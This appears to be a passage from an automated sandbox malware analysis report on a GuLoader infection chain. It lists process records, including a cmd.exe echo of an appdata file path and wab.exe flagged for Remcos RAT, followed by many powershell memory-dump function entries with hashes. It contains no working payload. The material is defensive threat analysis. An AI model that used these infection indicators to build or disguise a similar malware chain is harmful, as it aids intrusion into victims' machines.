Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000B.00000002.3211992987.0000000008DB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000B.00000002.3194915385.000000000615A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000B.00000002.3212165628.000000000CB1E000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:49:12
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:49:34
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x9c0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:49:50
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x9c0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:49:51
Start date:	03/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff78ee50000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD3455B506 Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3606723672.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c900e3457e89c2c33d2bf9b6e26dd11ed6d829abc0d05d5b22591c95cf113b4
Instruction ID: a4b8a2ca94acc9c1178b6f745297fa18add60ae8285159e6764b09c58febb1f5
Opcode Fuzzy Hash: 4c900e3457e89c2c33d2bf9b6e26dd11ed6d829abc0d05d5b22591c95cf113b4
Instruction Fuzzy Hash: F9027330A08A8D8FEBA9DF28C8597F937D1FF55311F04427AD84EC7291DB38A9459B81

Function 00007FFD3455C2B2 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3606723672.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba5ba8b1b38e79d3c9e9bd0bfc05b8cc53878dcbd0c1d0bc228700a6500e4924
Instruction ID: 54b6819a8058f5c84fcecd3f7a03d99b0cb6591303a003d5cb70832fc0453300
Opcode Fuzzy Hash: ba5ba8b1b38e79d3c9e9bd0bfc05b8cc53878dcbd0c1d0bc228700a6500e4924
Instruction Fuzzy Hash: 7802A530A08A4D8FEBAADF28C8A57F937D1FF55311F04427AD84EC7291DE78A9458781

Function 00007FFD3462793C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3608035082.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcdfc2a20d13eccd5c9498e07d57b591ea4b142e4190b332bc1a04209d8da9ef
Instruction ID: 15b37a5231bfc4ab0e4500195556dafca6a5a542affd818c05904ef558060904
Opcode Fuzzy Hash: dcdfc2a20d13eccd5c9498e07d57b591ea4b142e4190b332bc1a04209d8da9ef
Instruction Fuzzy Hash: 4011D332F1CA391FEBA5AB9C68619F8B3A1EF5566175402B7E509C3192DD18AC118381

Function 00007FFD34626877 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3608035082.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb2c029fbcfa4254fe872db3738e07d38a241c4be3c34c1ee7cab9b6f3b111c
Instruction ID: 199010c40633a3800bb4a65811bc2c96a953a0e63424e26ef743a3dbe08bf4f8
Opcode Fuzzy Hash: 2eb2c029fbcfa4254fe872db3738e07d38a241c4be3c34c1ee7cab9b6f3b111c
Instruction Fuzzy Hash: 56119D32B0DA5A4FE799EF18D4A06E873E2FF95350B5401BAE10DC31A2DE2DEC418700

Function 00007FFD3462789B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3608035082.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f6bf7c7825c22d6d82f384181db4b13e86c122299d22ca55e5058e939fdbe88
Instruction ID: f251b237143b65b26a7a80f72d83053054161a73ccc8dea20a200027c381f7a6
Opcode Fuzzy Hash: 1f6bf7c7825c22d6d82f384181db4b13e86c122299d22ca55e5058e939fdbe88
Instruction Fuzzy Hash: 61110C22F1DB7A1BF3A5AB5C24A55F8B2E1EF5576174401B6F41CD3193DD1C6C109341

Function 00007FFD34553535 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3606723672.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: d4b40cfeed9e39ae8cdd537a16a016aaf24e06c265825fb3b3258b3e9ff52aca
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: B601677121CB0C4FD748EF0CE451AB5B7E0FB95364F10056DE58AC3651DA36E891CB45

Non-executed Functions

Function 00007FFD345516BF Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

,P_^, xrefs: 00007FFD34551801

Memory Dump Source

Source File: 00000008.00000002.3606723672.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34550000_powershell.jbxd

Similarity

API ID:
String ID: ,P_^
API String ID: 0-384621634
Opcode ID: d5e3fa05d34030a5da0a7a0adaac15fd36fcbb0a1f9e091c1e2e03ee49d6d80a
Instruction ID: e4560cdf3a4641d76d7bb4733345e4b93cc076c7e87ee9c17140e11188b353f9
Opcode Fuzzy Hash: d5e3fa05d34030a5da0a7a0adaac15fd36fcbb0a1f9e091c1e2e03ee49d6d80a
Instruction Fuzzy Hash: CE514457E0E7C61FE723927C18F61E96F95DF63664B0A01F7C6E6CA093AC0C68066212

Function 00007FFD34556E5D Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3606723672.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a913a0580052d6b9a4a660ead29bcf4880c928575b463ac717d754d5ed3626
Instruction ID: 60a182160fb254058d2fcc2d97413db136eae1f84e2274576102d7e13949e362
Opcode Fuzzy Hash: f0a913a0580052d6b9a4a660ead29bcf4880c928575b463ac717d754d5ed3626
Instruction Fuzzy Hash: B9C14687F0F7D21AE65352AC54F50F93FA4DF93265B0900F7C6D9CA0A3DC0CA84AA656

Analysis Process: powershell.exePID: 7148, Parent PID: 4416COMMON

Executed Functions

Function 04E1F1F0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af91d38edb4d41b0fb6d3f774c7136e2513a9787b8fc23f2ecf4040dd5ab0c58
Instruction ID: 355a2b036c136aa64095987c9e36fed3f04fecb1f3e2a4c2f8b3ced0397aa9ab
Opcode Fuzzy Hash: af91d38edb4d41b0fb6d3f774c7136e2513a9787b8fc23f2ecf4040dd5ab0c58
Instruction Fuzzy Hash: 03B15E70E40209DFDF14CFA9D8857EEBBF2AF88318F149529D815E7264EB74A841CB81

Function 04E1FAC0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf6c8bf0a4c14065cf4ed86dbc5919ab99e76938c4aeee405697377dd49f179
Instruction ID: 8b4cf5c10d305430b5013a8e6fa73070d4ab46e8620c135ccf850eed491bc7a9
Opcode Fuzzy Hash: 4bf6c8bf0a4c14065cf4ed86dbc5919ab99e76938c4aeee405697377dd49f179
Instruction Fuzzy Hash: 4CB16170E40249CFDB14CFA9C895BEDBBF2BF88358F149529D815E7264EB74A841CB81

Function 07CC6408 Relevance: 9.9, Strings: 7, Instructions: 1106COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC6F5C
(fjl, xrefs: 07CC72A6
(fjl, xrefs: 07CC6F66
(fjl, xrefs: 07CC72B0
(fjl, xrefs: 07CC699C
`l, xrefs: 07CC6B5A
`l, xrefs: 07CC6B64

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$(fjl$(fjl$(fjl$`l$`l
API String ID: 0-982357777
Opcode ID: d014a82f90a0dc31e7429f14c4d6024fc1c4eabe11141501667ccb2d53904e42
Instruction ID: 4e9f397b9b91a89b3507f1203852a501f37c92512a07fbed260e3a0afa72f137
Opcode Fuzzy Hash: d014a82f90a0dc31e7429f14c4d6024fc1c4eabe11141501667ccb2d53904e42
Instruction Fuzzy Hash: BD928FB4B00205DFE714CB98C951AAEBBF2EF86314F1480A9E909AF755CB72DD42CB51

Function 07CC7AC3 Relevance: 6.6, Strings: 5, Instructions: 395COMMON

Download Yara Rule

Strings

x.[k, xrefs: 07CC7FC3
(fjl, xrefs: 07CC7E0E
(fjl, xrefs: 07CC7E02
x.[k, xrefs: 07CC7BA7
-[k, xrefs: 07CC8014

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$x.[k$x.[k$-[k
API String ID: 0-2512794847
Opcode ID: 9a077f7c90e684f0bf694390e4664f5a3e291b3c63a0236ead90e5fb241e532f
Instruction ID: b1d34975cc623e4115922ca1f2ada9c89eb5bb0079c76a52ccbb6f5862f676cc
Opcode Fuzzy Hash: 9a077f7c90e684f0bf694390e4664f5a3e291b3c63a0236ead90e5fb241e532f
Instruction Fuzzy Hash: 68F173B5A002159FE724DB64C851BAF7BF2AF85340F1080E9D9096F795CB72EE828F51

Function 07CC67A0 Relevance: 4.4, Strings: 3, Instructions: 635COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC6F5C
(fjl, xrefs: 07CC699C
`l, xrefs: 07CC6B5A

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$`l
API String ID: 0-1190170879
Opcode ID: 5e7e82feac0915534c0b47f927985ef67c85854e5b783f3de375d084ba786a2a
Instruction ID: c8cf2bb9892289755b84c2253529fa89338f20296cc14937c5be72583741eee0
Opcode Fuzzy Hash: 5e7e82feac0915534c0b47f927985ef67c85854e5b783f3de375d084ba786a2a
Instruction Fuzzy Hash: 514239B4A00215DFEB14CF54C981AAEB7F2EB89314F14C0A9E919AF755CB72ED42CB41

Function 07CC6060 Relevance: 4.0, Strings: 3, Instructions: 247COMMON

Download Yara Rule

Strings

x.[k, xrefs: 07CC62F9
(fjl, xrefs: 07CC619D
(fjl, xrefs: 07CC61A7

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl$x.[k
API String ID: 0-199637641
Opcode ID: 21660ef813f9a570be01feae7067cbe2251149d83c7d7e69dc40c6f8c8c71a5f
Instruction ID: 35f5d7a6ef2fe64774d0bfdaea526bc078013c0761db0058bdf31ae2154c2b84
Opcode Fuzzy Hash: 21660ef813f9a570be01feae7067cbe2251149d83c7d7e69dc40c6f8c8c71a5f
Instruction Fuzzy Hash: 7F9181F1B00205ABE714DBA4C551BAEB7F3AF89304F148468E9057F751CB72EE428BA5

Function 07CC7089 Relevance: 3.0, Strings: 2, Instructions: 459COMMON

Download Yara Rule

Strings

(fjl, xrefs: 07CC6F5C
(fjl, xrefs: 07CC72A6

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$(fjl
API String ID: 0-1608472186
Opcode ID: 79251564eda120078ea0875967ce3e33fcf7eb61b33b134b0123747ec18f276c
Instruction ID: 097bedc77b5b861d70adb6caa3143738f82ab8a34a3b95ba32e6baa0b6f1e873
Opcode Fuzzy Hash: 79251564eda120078ea0875967ce3e33fcf7eb61b33b134b0123747ec18f276c
Instruction Fuzzy Hash: A8123BB5A00206DFEB14CF94C981AADB7B2FB89314F148099E919AF751CB72ED42CF51

Function 07CC8758 Relevance: 2.8, Strings: 2, Instructions: 339COMMON

Download Yara Rule

Strings

x.[k, xrefs: 07CC8AB2
-[k, xrefs: 07CC8AF7

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: x.[k$-[k
API String ID: 0-295765721
Opcode ID: 914d76477add86918b2e53b7c560f5adaa54a1093f850ed1daebf2fb57b54104
Instruction ID: 5a2ddc085956a147a967d76504c636c4eaf26cae7413e06bf5715c3d7168fd63
Opcode Fuzzy Hash: 914d76477add86918b2e53b7c560f5adaa54a1093f850ed1daebf2fb57b54104
Instruction Fuzzy Hash: 80D190B0A00205DFEB14DBA8C451BAFBBF2AF89300F15C069D5156F355CB76ED428B95

Function 07CC763D Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

-[k, xrefs: 07CC7A30
x.[k, xrefs: 07CC79DF

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: x.[k$-[k
API String ID: 0-295765721
Opcode ID: 2ecb35171ab509f1660e020226ba5bd58bfa7a079fc2bc9c33ca010d14857fed
Instruction ID: 429bbe25cefd44cbd7635948bbf5bb4a84836a7654a3a011eb5ea27b25501bac
Opcode Fuzzy Hash: 2ecb35171ab509f1660e020226ba5bd58bfa7a079fc2bc9c33ca010d14857fed
Instruction Fuzzy Hash: E2D152B4A00215DFE724DF64C851B9EBBB2EB85344F1080E9D5096F395CB72EE428F95

Function 07CC873A Relevance: 2.8, Strings: 2, Instructions: 270COMMON

Download Yara Rule

Strings

x.[k, xrefs: 07CC8AB2
-[k, xrefs: 07CC8AF7

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: x.[k$-[k
API String ID: 0-295765721
Opcode ID: 5a23a3918016616b9cc765fbca453dad313fdb76f9bf0eb2dacda6454eb6ae4a
Instruction ID: 11f1d422ea502ad115da7429f7a6047b3709d67255784e00037eeed0e8e24c75
Opcode Fuzzy Hash: 5a23a3918016616b9cc765fbca453dad313fdb76f9bf0eb2dacda6454eb6ae4a
Instruction Fuzzy Hash: 67B1ABB0A00205DFDB14DFA4C591BAEBBF2AB89304F15C069E9152F395CB76ED42CB91

Function 07CC6040 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

x.[k, xrefs: 07CC62F9
(fjl, xrefs: 07CC619D

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: (fjl$x.[k
API String ID: 0-2992773041
Opcode ID: 3e2f68fbf93aae920fffe1cfee27cee1d27b375002c3b0402a65da2d8fad3820
Instruction ID: ee3cb4900c496255da87ea6dd8bbbc96aa23cb33878848d6275d027ea42ac21c
Opcode Fuzzy Hash: 3e2f68fbf93aae920fffe1cfee27cee1d27b375002c3b0402a65da2d8fad3820
Instruction Fuzzy Hash: EC91B3B1A00201AFE704DB64C591BAEBBF3AF89314F148469E5047F792CB72EE41CB51

Function 07CC44EC Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

84hl, xrefs: 07CC4593

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID: 84hl
API String ID: 0-3734605506
Opcode ID: 025b358a700de6a95eb8447a63c4e0131dcb536cb76b56effd7acc1f28208f13
Instruction ID: b70f0963b89e1992f978c1d3d4c189892098997ebf568dc5852696e69be71a8f
Opcode Fuzzy Hash: 025b358a700de6a95eb8447a63c4e0131dcb536cb76b56effd7acc1f28208f13
Instruction Fuzzy Hash: 324129B1A093859FC726CF648860665BFB1AF86221F19C1DFD954CF192C731CE46C7A1

Function 07CCB020 Relevance: .6, Instructions: 583COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb9d7022b8e32ef9318123cfa44224412cb8e89a4dcc85a8c94abdd536fea2e3
Instruction ID: e1cf6eb2ee3499e3c362b38efeffaf1ef26ec4ab67d890fd1a7532b7b7754685
Opcode Fuzzy Hash: fb9d7022b8e32ef9318123cfa44224412cb8e89a4dcc85a8c94abdd536fea2e3
Instruction Fuzzy Hash: 8B1248F27042469FE725DFA988527BBBBA29FC6211F1480BED505CF251DA31CE42C7A1

Function 04E1BB00 Relevance: .5, Instructions: 517COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77f995a9dfcd4edb8f2b2bdde33857a108f37ac83806878031cd0f0e557efff5
Instruction ID: b7e80d01eedb9227398353905ff2bd1eb7a6e157b22833e4c07606683901a4d9
Opcode Fuzzy Hash: 77f995a9dfcd4edb8f2b2bdde33857a108f37ac83806878031cd0f0e557efff5
Instruction Fuzzy Hash: 50224D34B401589FDB25DB34D854AAEB7B6BF89304F1484A9D40AEB3A1DF35AD81CF81

Function 07CC3D38 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c82ed89336ea59ecfd61db9c1a5630f29c4e13d4d9f2624be28d75eb15962c
Instruction ID: 382afc84587cbd49cdb15268bae9e767670fe81dee9716f4d1618bc13961dd2a
Opcode Fuzzy Hash: b4c82ed89336ea59ecfd61db9c1a5630f29c4e13d4d9f2624be28d75eb15962c
Instruction Fuzzy Hash: E8F12871704286DFDB29CE69D8606AABFB1AFC2210F14C0AFD555CB295DB31CA41C762

Function 07CC9170 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03194220bde0845febda3b3af605c3b40452e26e2744b8bf2e27c4f32ecfff33
Instruction ID: 5a03863c434942b46e36fdc482871bbc391f55d20ce568ab54fb52fb2f7d605a
Opcode Fuzzy Hash: 03194220bde0845febda3b3af605c3b40452e26e2744b8bf2e27c4f32ecfff33
Instruction Fuzzy Hash: B3F109B1704206CFDB25DF69C8516BABBE2AFC6310F1880BED545CB291DB31EA41C7A1

Function 04E19580 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f37c623ebd8bc1ec26e2e02b8144a6784e2fffc76bd89f4a0c2e18db022dc95
Instruction ID: f5dbdbbe412c0180f2d1ab377e290b8aa223566e58687ab11f674cad4cc19269
Opcode Fuzzy Hash: 2f37c623ebd8bc1ec26e2e02b8144a6784e2fffc76bd89f4a0c2e18db022dc95
Instruction Fuzzy Hash: 4FD1DF71A00248DFDB14DFA8C454AADBBF2FF85304F158569E406AF266CB74ED49CB80

Function 089607A0 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3210706018.0000000008960000.00000040.00000800.00020000.00000000.sdmp, Offset: 08960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4750baf28e52ec91a2751435dd0bee8470e23f9a6ada38aa13393614c1266436
Instruction ID: 36fad939582b8a8732102e2a4b8725895313edd69df8f44252a203911eddb254
Opcode Fuzzy Hash: 4750baf28e52ec91a2751435dd0bee8470e23f9a6ada38aa13393614c1266436
Instruction Fuzzy Hash: 11E11A34A00609DFDB14DFA8D494A9DFBB2FF88324F288559E845AB355C731ED92CB90

Function 04E14EA8 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f511ae9bd43f92b7515f419c857a614ffb8c0e64f863b70bbe42fbcef1eb949
Instruction ID: 4f31c18843240531f2ea6203d39f2c7910f63678ac95bcc8ba96b24a862ca4a4
Opcode Fuzzy Hash: 5f511ae9bd43f92b7515f419c857a614ffb8c0e64f863b70bbe42fbcef1eb949
Instruction Fuzzy Hash: DED13875A00218EFDB14CF98D494A9DFBB2FF88314F289559E805AB365D731ED82CB90

Function 07CC1D28 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af7b775fb45fd30f010b4883fb51ed5e9df61df15e051d025fa0b67617c91104
Instruction ID: b0974c4061fd4f79ad409881d22c9f05f67e5ed2d78f23e232aafb6ebc964abd
Opcode Fuzzy Hash: af7b775fb45fd30f010b4883fb51ed5e9df61df15e051d025fa0b67617c91104
Instruction Fuzzy Hash: 8FB128F1700209DFE725DF6AC8456AABBE6EF86210F18806FD505CB256DB31CE42C7A1

Function 04E145C0 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbb2204cc58b6488913e392f317fa0efdc1648bd12959825c3d33b7ce7f9f8dd
Instruction ID: b86a6f04b9fd6c383c8eff1fdd128e82b9157733adc1e7d82a162e9c6eb1cb4f
Opcode Fuzzy Hash: cbb2204cc58b6488913e392f317fa0efdc1648bd12959825c3d33b7ce7f9f8dd
Instruction Fuzzy Hash: A4D1F574A00219DFDB14CF98D494AADFBB2FF89314F248559E805AB3A5D731ED82CB90

Function 07CC97F0 Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3205286896.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7cc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 608251af2310a7a8708cfc9ef347cdf23fa2de8b84b09fac237b6da403060d78
Instruction ID: 47c462d6b48508f26c232d12054e7b6beb9d5075486952277a8d0233bee779c3
Opcode Fuzzy Hash: 608251af2310a7a8708cfc9ef347cdf23fa2de8b84b09fac237b6da403060d78
Instruction Fuzzy Hash: 2C9148B17042069FEB15DF7589602BA7BE29F86310F1880AED549CF392CE35EE41C761

Function 04E1F1EF Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3192273044.0000000004E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39b5f00de95cc89c41599c7f2358168fd6443bf838bf941e087c42deeae8ff7
Instruction ID: 647da1e6ad66710259f0041fbafcd1708b958d7f60781857c03daac0f010baee
Opcode Fuzzy Hash: c39b5f00de95cc89c41599c7f2358168fd6443bf838bf941e087c42deeae8ff7
Instruction Fuzzy Hash: 19B15D70E40209DFDB10CFA9D8857EEBBF1AF88318F149529D819E7264EB74A845CB91

Function 04E1FAB4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

